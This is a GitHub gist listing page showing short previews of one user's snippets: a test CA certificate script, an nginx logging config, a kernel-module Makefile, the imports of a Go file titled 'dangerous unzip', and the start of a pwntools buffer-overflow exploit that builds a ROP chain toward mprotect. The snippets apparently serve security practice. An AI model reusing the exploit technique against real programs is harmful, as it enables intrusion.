Skip to content

Instantly share code, notes, and snippets.

View virusdefender's full-sized avatar
🐱

virusdefender

🐱
View GitHub Profile
@virusdefender
virusdefender / ssl.sh
Last active March 17, 2020 02:51
openssl 创建 CA 然后签发服务器证书 (仅供测试)
#!/bin/bash
set -ex
company="Chaitin"
subj="/C=CN/ST=Beijing/L=Beijing/O=$company Tech/OU=Service Infrastructure Department"
domain="vulndb"
# Create CA
openssl genrsa -out ca.key 2048
openssl req -new -x509 -nodes -sha256 -subj "$subj/CN=$company Root CA" -days 7500 -key ca.key -out ca.crt
@virusdefender
virusdefender / pwn.py
Created November 10, 2017 02:37
test
from pwn import *
student = 0x7fffffffe2f0
shellcode = "1925\n"
student_size = 0x7fffffffe348 - student
shellcode += "A" * student_size
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr
@virusdefender
virusdefender / gitstars.json
Created February 6, 2018 02:55
github stars manager for production
{"tags":[],"lastModified":1517885747220}
@virusdefender
virusdefender / Makefile
Created March 18, 2018 12:04
reset_proc_memory.c
obj-m += reset_proc_memory.o
KDIR ?= /lib/modules/$(shell uname -r)/build
all:
make -C $(KDIR) M=$(PWD) modules
clean:
make -C $(KDIR) M=$(PWD) clean
@virusdefender
virusdefender / nginx.conf
Last active November 22, 2023 02:16
log request and response header and body with openresty | 使用 openresty 记录请求和响应 http 头和 body
server {
listen 80;
server_name localhost;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
error_log stderr info;
location / {
root /usr/local/openresty/nginx/html;
@virusdefender
virusdefender / main.go
Created April 14, 2020 10:24
dangerous unzip
package main
import (
"archive/zip"
"fmt"
"io"
"log"
"os"
"path/filepath"
)